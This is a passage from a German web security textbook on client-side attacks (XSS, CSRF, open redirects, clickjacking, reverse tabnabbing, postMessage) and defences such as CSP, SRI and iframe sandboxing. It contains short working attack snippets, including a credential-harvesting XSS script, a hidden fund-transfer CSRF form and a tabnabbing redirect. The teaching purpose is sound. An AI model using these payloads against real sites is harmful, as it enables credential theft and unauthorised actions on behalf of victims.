auslesen, und Zugriffe auf den ursprünglichen Server mit diesem Cookie mit
der Identität des Opfers ausführen können.
2
[Link] Filter Evasion Cheat Sheet
12.1. JAVASCRIPT-INJECTIONS (XSS) 151

Als Gegenmassnahme für diese Payload sollte insbesondere das httpOn-


ly-Flag bei Cookies genannt werden. Durch dieses Flag wird der Zugriff via
Javascript auf das damit konfigurierte Cookie unterbunden.

Virtual Defacement
Ein weiteres Beispiel wäre Virtual Defacement: bei diesem wird mittels JavaS-
cript die dargestellt Webseite verändert und dadurch ein Defacement durch-
geführt. Bösartig an diesem ist, dass die direkten Inhalte (Webseiten im File-
system des Webservers) weiterhin korrekt aussehen.
Ein Beispiel wäre folgende Opferwebseite:

<html>
<head>..
<script src="[Link]
</head>
<body id="main">
<h1>My Company</h1>
</body>
</html>

In diesem konkrete Beispiel wird Javascript von einem Content Delivery


Network geladen, liegt also nicht lokal am Opfer-Webserver vor. Ein Angreifer
würde nun den CDN-Server hacken und das [Link]-File ersetzen:

[Link]("main").innerHTML = "My Company sucks";

In diesem Fall wird der Inhalt des Elements ,,main” ersetzt und schluß-
endlich so die Opfer-Webseite defaced.

Social Engineering
XSS kann auch als Teil von Social-Engineering Angriffen verwendet werden.
Ein Besipiel hierfür wäre das BeEF-Framework (The Browser Exploitation
Framework Projekt 3 ). Bei diesem wird über Javascript ein Client-Handler im
Browser installiert. Hierfür könnte z. B. eine XSS-Lücke missbraucht werden.
Über diesen Handler können mehrere Attacken gestartet werden, unter ande-
rem:
3
[Link]
152 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

ˆ Anzeigen eines Fake Software muss aktualisiert werden-Fenster über dies


der Benutzer zum Update eines Browser-Plugins ermuntert wird. Hierbei
wird allerdings kein Browserplugin upgedatet, sondern eine vom Angrei-
fer bereitgestelle ausführbare Datei exekutiert.

ˆ Anzeigen eines Assistenten, z. B. ,,Clippy”. Auf diese Weise kann ein vor-
gesehener interaktiver Chat emuliert, und dem Kunden Informationen
entlockt werden.

ˆ BeEF bietet auch Angriffe, welche nicht direkt im Social-Engineering


verankert sind. Beispiele hierfür wären z.B. Browser-Exploits, Informa-
tion Gathering, Network Tunneling über Javascript.

Zusätzliche Angreifersoftware
In den letzten Jahren wurden XSS-Injections auch für Bitcoin/Crypto-Mining
missbraucht. In diesem Fall wird beim Besuch der Webseite ein Crypto-Miner
im Browser des Benutzers verankert und zum Mining verwendet. Dieses Kon-
zept wird mittlerweile auch als Entschädigungsmodel für Webseitenautoren
verwendet.
XSS kann auch verwendet werden, um den Browser des Opfers Teil eines
DDoS-Botnets zu machen. Ein berühmtes Beispiel hierfür ist die LOIC (Low-
Orbit Ion Canon 4 ) die z.B. auch gerne von Anonymous verwendet wurde.

Stehlen von Daten aus einem Passwortmanager


Die meisten modernen Webbrowser bieten eine Form eines Passwortmanagers
an. Nach einem durchgeführtem Login werden bei einem erneuten Besuch der
Seite die Login-Credentials automatisch vom Webbrowser in das Formular
eingetragen.
Falls ein Angreifer eine XSS-Lücke innerhalb eines Login-Formulars findet,
kann er diese ausnutzen um die Login-Daten zu stehlen:

<script>
[Link]('<form><input id=password type=password
,→ style=visibility:hidden></form>');
setTimeout('alert("Password: " +
,→ [Link]("password").value)', 100);
</script>

4
[Link] Orbit Ion Cannon
12.1. JAVASCRIPT-INJECTIONS (XSS) 153

12.1.3 DOM-based XSS-Angriffe


Bei DOM-based XSS wird das DOM innerhalb des Browsers modifiziert. Da
der Angriff innerhalb des Browsers geschieht, besitzt der Webserver keine
Möglichkeit diese Angriffe zu erkennen oder sogar zu verhindern.
Ein primitives Beispiel für eine über DOM-based XSS verwundbare Web-
seite ([Link]):

<html>
<head>..</head>
<body>
<script>
[Link]("<b>URL: " + [Link] +
,→ "</b>");
</script>
</body>
</html>

Bei dieser Seite wird die aktuelle URL via Javascript ausgelesen (über do-
[Link] ) und dynamisch in die Webseite eingefügt. Wird diese Seite
z.B. als [Link] aufgerufen würde URL: [Link] ausgegeben werden.
Dies geschieht im Browser des Opfers, keine Serveroperation wird dabei invol-
viert.
Ein Angreifer könnte diese Seite ausnutzen und z.B. über [Link]
#<script>alert(1)</script> aufrufen. Auf diese Weise wird wieder die
URL in das Dokument eingebaut, dabei wird allerdings auch der neue Script-
Tag (welcher in der URL mitübergeben wurde) eingebaut, un dder Browser
exekutiert den Inhalt dieser Script-Tags als Javascript-Code. In diesem Fall
wird ein Popup ausgegeben, ein Angreifer könnte natürlich weitere Payloads
verwenden.
Warum ist diese Angriffsart gefährlich? Ein Angreifer kann ja immerhin
nichts am Server modifizieren? Die Antwort liegt im Origin der HTML-Seite.
Falls ein Fehler innerhalb einer Webapplikation vorgefunden wird, kann das
eingeführte Javascript auf alle Resourcen innerhalb des identen Origins zugrei-
fen und so z. B. die verwendeten Session-Cookies mit der Benutzeridentität
auslesen. Häufig werden DOM-based XSS-Fehler in inkludierten Dokumen-
tationen vorgefunden. Entwickler downloaden z.B. Archive mit Javascript-
Bibliotheken, entpacken diese, und inkludieren diese in einem asset oder con-
trib Verzeichnis. Die entpackten Archive (inkl. dabei vorhandener Dokumen-
tation) werden auf diese Weise vollständig auf dem Webserver deployed und
sind öffentlich zugreifbar. Wenn in diesen ein DOM-based XXS Fehler vor-
handen ist, kann dieser von Angreifers missbraucht werden. Da beigemengte
154 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

Dokumentation selten als möglicher Angriffsvektor erkannt wird (sie führt ja


auch keine direkten serverseitigen Operationen aus), bleiben diese potentiellen
Schwachstellen häufig lange unerkannt.

12.1.4 Upload von HTML/Javascript-Dateien


Falls der Angreifer die Möglichkeit besitzt Dateien hochzuladen, kann dieser
versuchen, auf diese Weise Javascript-Code in der Applikation zu hinterlegen.
Hier ist der Angriffsvektor, diese Dateien von einem anderen Benutzer öffnen
zu lassen. Da die hochgeladenen Dateien innerhalb der Applikation geöffnet
werden, erhalten diese Zugriff auf sensible Benutzerdaten wie z.B. Session-
Daten.
Auch hier sollten die erlaubten Dateitypen durch eine whitelist einge-
schränkt werden. Zusätzlich sollte der Content-Disposition-Header verwendet
werden. Durch diesen teilt der Webserver dem Browser mit, dass eine Datei
zum Download bestimmt ist. In diesem Fall lädt der Webbrowser die Datei
herunter und öffnet anschließend potentiell die lokal heruntergeladene Datei
— dadurch ist diese nicht mehr Teil der Webapplikation und kann daher nicht
mehr auf z.B. Session-Cookies zugreifen.

X-Content-Type-Options
Webserver übermitteln den MIME-Datentypen von übertragenen Dateien über
den Content-Type Header. Da diese Header “früher” ab und zu falsch gesetzt
wurden, verwenden einige Browser (primär verschiedene Microsoft Internet
Explorer und Edge Versionen) eine Heuristik um dynamisch den Content-Type
zu bestimmen. Dabei wird der Anfang einer Datei gelesen, engl. “sniffing”, und
basierend auf der gefundenen Struktur ein MIME-Typ zugeordnet.
Dies kann ein Angreifer missbrauchen indem er z.B. ein Textfile hoch lädt
(Datentyp text/plain). Diese Datei enthält HTML-Code inklusive bösartigem
JavaScript. Wenn nun ein Opfer auf dieses File zugreift und dessen Browser
eine Heuristik verwendet, würde der Dateityp als JavaScript erkannt, und vom
Browser das inkludierte bösartige JavaScript ausgeführt werden. Auf diese
Weise kann der Angreifer eine potentielle Javascript-Upload-Sperre umgehen.
Mittels des X-Content-Type-Options: nosniff -Headers kann der Webserver
dem Webbrowser mitteilen, dass kein sniffing durchgeführt, und dem vom
Server übermittelten Content-Type vertraut werden kann.
Zusätzlich blockieren Browser requests auf JavaScript- bzw. CSS-Dateien
falls hier nicht der richtige Content-Type gesetzt ist (text/css bzw. javascript).
12.1. JAVASCRIPT-INJECTIONS (XSS) 155

12.1.5 Gegenmaßnahmen
Gegenüber XSS-Angriffen werden prinzipiell zwei Gegenmaßnahmen empfoh-
len: Input Sanitation und Escaping von Ausgaben.

Filtern der Eingaben


Werden Daten aus nicht-vertrauenswürdigen Quellen verwendet, müssen diese
automatisiert auf Schadmuster hin überprüft werden. Achtung: jegliche Form
von Daten, die durch einen Benutzer bereitgestellt werden, sind automatisch
nicht-vertrauenswürdige Daten. Ebenso muss beachtet werden, dass dies auch
für Daten aus Benutzerhand gilt, die indirekt über eine Datenbank ausgelesen
werden.
Da es eine Vielzahl möglicher Schadcodevarianten als auch viele poten-
tielle Tarnmethoden gibt, ist das Filtern von Schadcode effektiv nur durch
Verwendung einer (extern) gewarteten Bibliothek möglich.
Eine weiter Möglichkeit ist die Verwendung einer Web-Application Firewall
wie z.B. mod security im Zusammenspiel mit dem OWASP Core Rule Set (2).
Hierbei wird jeder eingehende HTTP Request auf Schadcode hin überprüft
und ggf. der Schadcode gefiltert bzw. der gesamte Request verworfen. Ein
Problem bei der Verwendung von WAFs ist deren Ressourcen-Verbrauch als
auch die potentiell hohe Anzahl von False-Positives (Anfragen die zwar nicht
bösartig sind, aber von der WAF als bösartig erkannt, und daher geblockt
werden).

Quoting während der Ausgabe


Um einen XSS-Angriff erfolgreich durchzuführen, muss der Javascript-Schadcode
im Webbrowser des Opfers ausgeführt werden. Um dies bewerkstelligen zu
können, muss eine bösartige Benutzereingabe Teil der dargestellten Webseite
werden. Eine weitere Gegenmaßnahme gegenüber ist es daher, Benutzereinga-
ben vor der Ausgabe so zu maskieren/quoten, dass diese nicht als Schadcode
ausgeführt werden können. Dies wird häufig automatisiert durch Frameworks
bzw. Bibliotheken durchgeführt.
Ein Problem dabei ist, dass die bösartige Benutzereingabe in Abhängigkeit
der Verwendung unterschiedliche gequotet werden muss. Wird eine Eingabe
als Teil einer URL verwendet, muss diese URL gequotete werden; wird ei-
ne Eingabe Teil von HTML muss diese HTML-gequoted werden. Wird eine
Eingabe serverseitig als Teil von HTML ausgegeben und ist wiederum selbst
Teil eines JavaScripts, dann muss die Eingabe sowohl Javascript- als auch
HTML-gequotet werden. Eine gute Übersicht über diese Problematik gibt das
156 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

OWASP XSS Prevention Cheat Sheet5 . Ein einfaches Beispiel hierfür wäre
folgendes serverseitige Source Code Fragment:

<script>
var x = '<%= taintedVar %>';
var d = [Link]('div');
[Link] = x;
[Link](d);
</script>

Die Variable taintedVar wird hier in einen Javascript-String eingefügt (Zei-


le 2), hierbei muss sie gequoted werden, damit Schadcode nicht den String
schließen und bösartigen Javascript-Code exekutieren würde. Zusätzlich wird
die Eingabe zum Wert der Variable x und dieser Wert wird in die HTML Sei-
te eingebaut. Dadurch wird diese Variable als HTML-Code interpretiert und
auch auf diese Weise könnte bösartiger Code eingebaut werden.
Einige Grundregeln zur Verwendung von user-supplied Daten innerhalb
von Javascript:

ˆ Die Verwendung von Benutzerdaten sollte so weit wie möglich minimiert


werden.

ˆ User-Supplied Daten sollten niemals auf der linken Seite (LHS) einer
Zuweisung verwendet werden.

ˆ die Methoden [Link] und [Link] als auch die Attribute


innerHTML und outerHTML rendern die übergebenen Texte als HTML-
Code. Dabei kann auch Code exekutiert werden — es wird empfohlen
stattdessen innerText und textContent zu verwenden.

ˆ die Methode eval sollte vermieden werden. Achtung: teilweise wird eval
intern verwendet (z.B. bei Verwendung von Timeout-Funktionen), hier
sollten keine Benutzereingaben verwendet werden.

ˆ Ebenso sollte niemals user-supplied Data als Event-Handler verwendet


werden.
5
[Link] bas
ed XSS Prevention Cheat [Link]
12.1. JAVASCRIPT-INJECTIONS (XSS) 157

12.1.6 Hardening mittels X-XSS-Protection


Moderne Browser verwendeten Heuristiken um Reflected-XSS Angriffe au-
tomatisiert zu erkennen. Zumeist werden hierfür die ausgehenden HTTP Re-
quests (inkl. Parameter) mit den eingehenden Antwortdokumenten verglichen.
Leider kann nicht davon ausgegangen werden, dass bei Browsern diese
Heuristik per Default aktiviert oder deaktiviert ist — das Verhalten kann al-
lerdings mittels des X-XSS-Protection-Header gesteuert werden. Es wird daher
empfohlen, diesen Header zu setzen um undefiniertes Verhalten zu vermeiden.
Folgende Werte sind für den Header erlaubt:

ˆ 0: die XSS-Heuristik soll deaktiviert werden.

ˆ 1: die XSS-Heuristik soll aktiviert werden, erkannte potentielle XSS-


Schadmuster werden aus der Ausgabe entfernt.

ˆ 1;mode=block: die XSS-Heuristik soll aktiviert werden, falls XSS-


Schadmuster erkannt werden wird keine Webseite gerendert.

Während das automatische Filtern von XSS-Schadcode theoretisch positiv


aus Sicherheitssicht sein sollte, war dies in der Praxis fehlerbehaftet und führte
zu folgenden Problemen:

ˆ False-Positives: nicht bösartiger Schadcode wurde als Schadcode erkannt


und gefiltert. Dadurch wurde die Funktionsfähigkeit korrekt program-
mierter Webseiten eingeschränkt.

ˆ Wird X-XSS-Protection im Default-Modus verwendet, versucht der Brow-


ser nur den Schadcode aus dem Antwortdokument zu filtern. Dies kann
gezielt durch Angreifer ausgenutzt werden, um auf diese Weise XSS-Code
zu generieren6 .

Aus diesem Grund ignorieren moderne Browser diesen Sicherheitsheader


mittlerweile (Google Chrome, Mozilla Firefox und Microsoft Edge, Stand
31.12.2019). Als Gegenmaßnahme gegenüber XSS kann daher nur der Einsatz
von CSP empfohlen werden (abgesehen davon, XSS-Lücken generell nicht zu
implementieren).
6
Dies wird als UXSS bezeichnet, siehe auch [Link]
stood-x-xss-protection/.
158 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

12.1.7 Verwendung der Content-Security-Policy


Die Content Security Policy kann verwendet werden um potentielle Javascript-
Lücken zu vermeiden. Hierbei wird durch eine Policy definiert in welchen Da-
teien überhaupt Javascript-Code vorkommen darf. Falls eine saubere Tren-
nung in JavaScript- und HTML-Dateien durchgeführt wurde, kann die De-
finition von JavaScript-Fragmenten in HTML Dateien vollkommen deakti-
viert werden. Falls es ein Angreifer nun schafft, durch eine Injection Lücke
JavaScript-Code in einer HTML-Seite zu platzieren, würde dieser durch den
Browser einfach ignoriert werden.
Ein Problem beim Einsatz von CSP sind polyglot Files. Dies sind Dateien,
die so gebaut wurden, dass sie gleichzeitig zwei unterschiedliche Datentypen
erfüllen. Ein Beispiel für ein polyglot File ist eine JPEG-Datei welche, wenn sie
als Textdatei eingebunden wird, validen Javascript-Code beinhaltet. Ein Bei-
spiel für solche Dateien kann unter [Link]
sing-csp-using-polyglot-jpegs gefunden werden. Dies ist problematisch,
da ein Angreifer ein JavaScript File als Bild hochladen kann (während der
Upload von JavaScript-Files normalerweise durch eine Webapplikation blo-
ckiert wird) und danach mittels eines script-Tags dieses Bild als Javascript-
Source File innerhalb von HTML inkludieren kann. Dies umgeht potentielle
CSP-Richtlinien.

12.2 CSRF Angriffe


CSRF-Angriffe nutzen ein bestehendes Vertrauensverhältnis zwischen dem
Web-Browser des Opfers und einem Webserver aus. Das grundsätzliche Pro-
blem ist, das Webbrowser, bei Requests zu bereits eingeloggten Webservern,
automatisch Sessions anhängen. Dabei wird nicht überprüft, ob der ausgehen-
de Request wirklich vom Benutzer in Auftrag gegeben worden ist.
Folgende Schritte würden bei einem typischen CSRF-Szenario passieren:

1. Der Benutzer (im Folgenden das Opfer genannt) loggt sich bei einem
Webserver ein. Der Webbrowser des Benutzers speichert sich das Session-
Cookie für Folgezugriffe auf diesen Webserver.

2. Der Benutzer surft im Internet und besucht dabei einen durch den An-
greifer kontrollierten Webserver.

3. Auf diesem Webserver befindet sich ein Formular, welches eine Operation
auf dem Webserver, auf dem das Opfer eingeloggt ist, aufruft.
12.2. CSRF ANGRIFFE 159

4. Der Browser des Opfers lädt die Webseite vom Webserver des Angrei-
fers. Das Formular wird entweder durch den unbedarften Anwender oder
durch Javascript automatisch abgesendet.

5. Der Browser des Opfers hängt automatisch das Session-Cookie zu dem


ausgehenden Request hinzu.

6. Der Webserver (auf dem das Opfer eingeloggt war) erhält nun einen
Request mit einer validen Session ausgehend vom Webbrowser des Op-
fers. Da dieser Request vollkommen korrekt aussieht, wird dieser auch
exekutiert.

Ein Beispiel für ein HTML Formular welches der Angreifer auf seinem
Webserver hinterlegen würden:

<form action="[Link] method="POST">


<input type="hidden" name="acct" value="MARIA"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>
</form>

In diesem Fall wird die Operation [Link] mit


den Parametern acct und amount aufgerufen. Bei diesem Beispiel wurden
die Felder versteckt und der Button mit einem ablenkenden Text beschriftet.
Alternativ könnte der Angreifer das Formular auch in einem 1x1 Pixel großem
IFrame verstecken und automatisiert mittels Javascript abschicken.

12.2.1 Synchronizer Token Pattern


Es gibt mehrere Gegenmaßnahmen gegen CSRF-basierte Angriffe, sicherheits-
technisch ist das so genannte Synchronizer Token-Pattern vorzuziehen. Bei
diesem fügt der Webserver bei jedem Formular ein verstecktes HTML-Feld
hinzu, in dieses schreibt der Server einen zufälligen Zahlenwert. Wird eine
Operation am Server aufgerufen wird dieses Feld an den Server übertragen
und dieser vergleicht den übertragenen Zahlenwert mit dem vom Server er-
warteten Zahlenwert. Falls diese übereinstimmen, wird die Operation aus-
geführt, ansonsten wird die Operation verworfen. Dieser Schutz funktioniert,
da der Angreifer auf seinem remote Server den Zahlenwert erraten und in das
Angriffs-Formular einfügen müsste.
Damit dieser Schutz verlässlich funktioniert, muss der Zahlenwert regelmäßig
erneuert werden, bevorzugterweise sollte für jede potentielle Operation ein
160 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

Browser Normale Website Website des Angreifers


User

navigiert zu Webseite

Zugriff auf die Webseite

Login-Maske wird angezeigt

Login Daten

Login Daten

Session-Id

Session-Id wird
im Browser gespeichert

surft im Internet

surft auf Angreifer Seite

Webseite mit Formular auf die Ziel Webseite

Formluar wird
per JavaScript
automatisch
abgeschickt

Operation wird aufgerufen


Browers hängt Session-Id an

Operation wird
mit der Useridentiät
ausgeführt

User Browser Normale Website Website des Angreifers

Abbildung 12.1: Beispiel für einen CSRF-Angriff


12.3. UNVERIFIED FORWARDS AND REDIRECTS 161

neuer Zufallswert generiert werden. In der Praxis wird diese Anti-CSRF Maß-
nahme häufig vollkommen transparent und automatisch durch das verwendete
Web-Framework implementiert.
Wichtig ist, dass eine Operation die einen CSRF-Check implementiert
nicht nur überprüft, ob ein potentiell übergebener CSRF-Wert mit dem server-
gespeicherten CSRF-Wert übereinstimmt, sondern auch überprüft ob überhaupt
ein CSRF-Wert übergeben wurde. Während Tests wurde häufig das fehlerhaf-
te Verhalten vorgefunden, dass wenn der CSRF-Parameter einfach gelöscht
wird, die Operation ausgeführt wird (also CSRF-Tokens nur verglichen wer-
den, wenn beim Aufruf zumindest ein CSRF-Wert übergeben wird).

12.2.2 SameSite-Flag bei Session Cookies


Eine weitere Schutzmaßnahme (im Sinne des Hardening) ist der Einsatz des
SameSite Cookie-Flags (siehe auch Kapitel 3.3.3, Seite 27). Bei korrektem
Setzen dieses Flags erlaubt der Web-Browser des Opfers das Übertragen der
Session-Id nur, wenn sowohl das Formular als auch das Ziel des Formulars sich
auf dem identen Webserver befinden.

12.3 Unverified Forwards and Redirects


Diese Schwachstelle war in den OWASP Top 10 2013 vorhanden, wurde al-
lerdings 2017 aus der Liste der Top 10 entfernt. Die Schwachstelle entsteht,
falls eine Operation einer Webapplikation den Benutzerbrowser auf eine wei-
tere Seite weiterleitet und das Ziel über einen Parameter bestimmt wird. Ein
Angreifer kann nun versuchen, das Opfer auf eine externe Seite zu leiten um
dies im Zuge eines Social Engineering Angriffs auszunutzen. Eine verwundba-
re Operation würde z.B. folgendermaßen aussehen: [Link]
[Link]?url=[Link]
Besonders gefährlich ist es, wenn die verlinkte URL nicht über ein HTTP
Redirect aufgerufen wird, sondern wenn die übergebene URL als Ziel eines
eingebetteten IFrames verwendet wird. Auf diese Weise kann der Angreifer
Inhalte auf der (vermeintlichen) Opferwebseite platzieren, die meisten Enduser
werden nicht bemerken, dass sie gerade Daten in einem Iframe und nicht in
der Opfer-Webseite eingeben.
Falls es wirklich notwendig sein sollte, dass eine Zieladresse über einen
URL-Parameter übergeben wird, sollte penibles Whitelisting der erlaubten
URLs betrieben werden.
162 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

12.4 Clickjacking
Clickjacking wird auch teilweise UI redress attack genannt. Bei diesem Angriff
will der Angreifer einen unbedarften Benutzer dazu bringen, eine Webseite zu
bedienen. Um dies durchzuführen, baut der Angreifer eine eigene, harmlos aus-
sehende, Webseite, welche den identen Bedienfluss wie die Webseite besitzt,
die der Angreifer gerne fernsteuern würde. Mittels eines IFrames wird die Op-
ferwebseite über die erstellte Webseite des Angreifers gelegt, die Transparenz
der Opfer-Webseite wird auf 100% gesetzt.
Wenn nun der Benutzer die vermeintliche (vom Angreifer erstellte) Websei-
te bedient, werden in Wirklichkeit alle Benutzereingaben an die transparente
Opfer-Webseite übertragen und dadurch diese durch den Benutzer ferngesteu-
ert.
Eine gute Abwehrmassnahme gegen Clickjacking ist der X-Frame-Options
HTTP Header.

12.4.1 X-Frame-Options
Der X-Frame-Options Header wird verwendet um dem Webbrowser mitzu-
teilen, innerhalb welcher Webseiten die eigene Webseite eingebunden werden
darf. Dadurch werden Clickjacking-Angriffe unterbunden.
Der Webserver kann über das Setzen des X-Frame-Options Header auf
folgende Werte das Webbrowser-Verhaltensmuster beeinflussen:

DENY : die Webseite darf nicht von anderen Webseiten mittels IFrames
eingebunden werden.

SAMEORIGIN : die Webseite darf von allen Webseiten mit dem identen
Origin eingebunden werden.

ALLOW-FROM domain : die Webseite darf explizit von der Domain do-
main eingebunden werden.

Die Verwendung von X-Frame-Options ist allerdings nicht problemlos. EIn


häufiger Fehler ist es, dass bei ALLOW-FROM mehr als ein Origin angegeben
wird. Dies kann z.B. geschehen, falls der Entwickler das Inkludieren ausgehend
von zwei externen Seiten, oder das Inkludieren ausgehend von der eigenen und
von einer externen Seite erwünscht. Dies ist mittles X-Frame-Options nicht
abbildbar, wird dieses Verhalten gewünscht, muss eine Content-Security Policy
angewendet werden.
12.5. REVERSE TAB NABBING 163

Ein weiteres Problem ist Double Framing. Eine Webseite versucht durch
Einsatz von SAMEORIGIN das Einbinden durch eine externe Seite zu un-
terbinden. Der X-Frame-Options Header bezieht sich allerdings immer auf
das ,,äußerste” IFrame. Wird z.B. auf der eigenen Seite ein IFrame mit ei-
ner externen Seite inkludiert, und diese externe Seite inkludiert selbst über
ein IFrame die eigene Seite, wird diese angezeigt auch wenn dies durch den
gesetzten Header als unterbunden gedacht wurde. Auch dies ist nicht einfach
über X-Frame-Options abbildbar.

12.5 Reverse Tab Nabbing


Bei einem Reverse Tab Nabbing navigiert der Benutzer zuerst auf eine Op-
ferseite. Diese öffnet nun einen Link auf eine bösartige Seite in einem neu-
en Fenster. Die aufgerufene bösartige Seite verwendet nun Javascript um die
Adresse der aufrufenden Seite (die wahrscheinlich gerade im Hintergrund ist)
zu verändern, der Webbrowser führt nun ein redirect auf die neu verlinkte Seite
im Hintergrund vor (während der Benutzer noch immer die neu geöffnete Seite
betrachtet). Wenn der Benutzer nun das geöffnete Fenster schließt befindet er
sich vermeintlich auf der ursprünglichen Seite, welche den Link öffnete, befin-
det sich allerdings in Wirklichkeit auf einer Seite, die vom Angreifer bestimmt
wurde.
Ein Beispiel für Reverse Tab Nabbing, folgende Opfer Seite:

<html>
<body>
<li><a href="[Link]" target="_blank">Vulnerable target using
,→ html link to open the new page</a></li>
<button onclick="[Link]('[Link]
,→ target using javascript to open the new page</button>
</body>
</html>

Die Opferwebseite öffnet eine externe Seite über einen Link (mittels tar-
get= blank wird ein neues Fenster geöffnet) bzw. alternativ über Javascript
(onclick ). Als neue Webseite verwendet der Angreifer folgendes:

<html>
<body>
<script>
if ([Link]) {
[Link] = "[Link]
}
164 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

</script>
</body>
</html>

Der Angreifer setzt über [Link] die Adresse der aufgerufenen Seite
und ändert dadurch (im Hintergrund) die im Webbrowser dargestellte Seite.
Wenn der Benutzer die geöffnete Seite schließt, gelangt er dadurch auf eine
vom Angreifer modifizierte Webseite.
Als Gegenmaßnahme sollte bei ausgehenden Links immer das rel Attribu-
te auf noopener noreferrer gesetzt werden. Dadurch kann die geöffnete Seite
nicht mehr über [Link] auf die Location der öffnenden Seite zugrei-
fen. Zusätzlich kann über die Referrer-Policy das Übermitteln des Referrer-
Headers an die aufgerufene Webseite unterbunden werden.
Update 2020: mehrere Browser bieten mittlerweile automatische Ver-
teidigungsmassnahmen gegenüber Reverse Tabnabbing Angriffe. Firefox (seit
2016), Microsoft Edge und Firefox sollten out-of-the-box nicht mehr gegenüber
diesem Angriff verwundbar sein (sie setzen das noopener -Flag automatisch).
In zukünftigen Google Chrome Versionen ab 2021 sollte diese Browserfamilie
dies auch durchführen und auf diese Weise Tabnabbing-Angriffe unterbinden.

12.6 HTML5 PostMessage als Angriffskanal


Eine Webapplikation wird innerhalb eines Browser-Tabs geöffnet, ihre Ein-
flussmöglichkeiten (z.B. mittels Javascript) beschränken sich auf Inhalte inner-
halb des Browser-Tabs. Es gibt Use-Cases, bei denen eine Applikation mit ei-
ner Webseite innerhalb eines anderen Browser-Tabs bzw. Browser-Fensters in-
teragieren will. Ein Beispiel sind web-basierte Präsentationsframeworks. Hier
gibt es meistens zwei Browserfenster: eines für die aktuell dargestellte Präsentationsfolie
und ein Fenster mit Notzien für den Vortragenden. Wird die Folie gewechselt
sollten im zweiten Fenster ebenso die Kommentare für die aktuell angezeigte
Folie dargestellt werden.
Eine moderne Implementierungsmöglichkeit für diese Funktion ist HTML5
postMessage. Die Webseite, welche eine Aktion ausführen will, kann eine Nach-
richt via Javascript absenden. Diese Nachricht beinhaltet die message, einen
Target-Origin (kann auch das Wildcard * sein) und eine Liste von seriali-
sierten Objekten (deren Owernship an den Empfänger übergehen). Die emp-
fangende Webseite kann einen Callback-Handler für empfangene Webseiten
registrieren und auf diese Weise auf die Nachricht reagieren.
Ein Beispiel für einen Message-Handler:
12.6. HTML5 POSTMESSAGE ALS ANGRIFFSKANAL 165

<script>
function messageHandler(event){
from = "From: " + [Link];
data = "Data: " + [Link];
alert(from);
alert(data)
}
// Register the handler
[Link]("message", messageHandler)
</script>

Das Beispiel zeigt bereits eine Schwachstelle von HTML5 postMessage: der
origin wird nicht durch den Empfänger überprüft, sondern durch den Code
des Empfängers.
Wie kann eine Nachricht gesendet werden?

[Link](message, targetOrigin, [transfer])

Die jeweiligen Variablen wären:

ˆ otherWindow gibt den Empfänger an. Dieser kann z.B. parent, ein
Iframe, [Link] [Link] sein.

ˆ message ist der String der als Nachricht an den Empfänger übertragen
wird.

ˆ targetOrigin gibt die origin des Empfängers an, kann aber auch als
Wildcard (* ) ausgeführt sein.

ˆ tranfer ist eine Liste von übertragenen Objekten. Diese können vom
Sender nicht mehr verwendet werden und gehen in den Besitz des Empfängers
über.

Hier ergeben sich zwei Angriffsszenarien:

1. Eine Webseite akzeptiert Nachrichten von beliebigen Quellen. Dies könnte


z.B. im Zuge eines XSS-Angriffs ausgenutzt werden.

2. Beim Senden der Nachricht werden sensible Daten versendet ohne dass
der Empfänger eingeschränkt wird. Dies geht zumeist mit einer Targe-
tOrigin von * herein.
166 KAPITEL 12. CLIENTSEITIGE ANGRIFFE

12.7 Reflektionsfragen
1. Erkläre Reflected-, Stored- und DOM-Based XSS Angriffe. Welche Ge-
genmaßnahmen gibt es und erläutere diese.

2. Was sind unvalidated Forwards und Redirects? Wie kann dagegen geschützt
werden?

3. Was sind Reverse Tab Nabbing Angriffe? Welche Absicherungsmaßnah-


men gibt es dagegen?

4. Welche Sicherheitsprobleme können bei HTML5 Local Storage auftre-


ten?

5. Wie funktionieren Clickjacking-Angriffe und wie können diese verhindert


werden?

6. Wie funktioniert ein CSRF-Angriff? Erläutere zwei potentielle Gegen-


maßnahmen?
KAPITEL 13
Clientseitige
Schutzmaßnahmen

13.1 Integration externer Komponenten


Werden externe Inhalte innerhalb der eigenen Seite inkludiert, erhöht sich die
Angriffsfläche: ein Angreifer mit Zugriff auf die externe Seite kann über diese
Schadcode in die, eigentlich sichere, eigene Webseite einschleusen. Falls die
Einbindung externer Inhalte zwingend benötigt wird, kann das Gefahrenpo-
tential durch Einsatz folgender Techniken reduziert werden:

13.1.1 IFrame: sandbox-Flag


Wird eine externe Resource über das HTML iframe Tag eingebunden kann
durch Verwendung des sandbox -Attributes die Sicherheit erhöht werden. Bei
Verwendung dieses Attributes werden folgende Einschränkungen aktiviert:

ˆ JavaScript wird für die eingebundene Resource deaktiviert.

ˆ Die eingebundene Seite bekommt einen eigenen Origin; dadurch kann


dieses nicht mehr auf die einbindende Seite zugreifen, auch wenn diese
auf dem identen Server abgelegt waren.

ˆ Die eingebundene Seite kann keine neuen Fenster bzw. Dialoge öffnen.

ˆ Es können keine Formulare abgeschickt werden.

167
168 KAPITEL 13. CLIENTSEITIGE SCHUTZMASSNAHMEN

ˆ Plugins werden für die eingebettete Seite deaktiviert.

ˆ Autoplay wird deaktiviert.

Die Einschränkungen können durch mehrere Optionen aufgeweicht werden,


der Namen dieser Optionen beginnt mit allow-. Ein abschließendes Beispiel für
einen per Iframe eingebundenen Twitter-Button:

<iframe sandbox="allow-same-origin allow-scripts allow-popups allow-forms"


src="[Link]
style="border: 0; width:130px; height:20px;"
</iframe>

13.1.2 Subresource Integrity (SRI)


Webapplikationen lagern statische Dateien häufig auf externe Server aus. Ein
Beispiel hierfür wäre z.B. das Auslagern von statische Javascript- oder CSS-
Dateien auf ein CDN-Netzwerk. Dies wird zumeist zur Erhöhung der Perfor-
mance bzw. Reduktion der Latenzzeit durchgeführt.
Ein Angreifer, der Zugriff auf einen externen Server erlangt, kann auf die-
sen bösartigen JavaScript- oder CSS-Code hinterlegen. Lädt nun eine Webseite
diese Dateien, wird diese automatisch infiziert. Um diesen Angriffsvektor zu
vermeiden, kann Subresource Integrity verwendet werden. Bei dieser Technik
wird ein Hashwert für jede eingebundene Resource berechnet und innerhalb
der eigenen Webseite angegeben. Wird nun eine externe Resource angefordert,
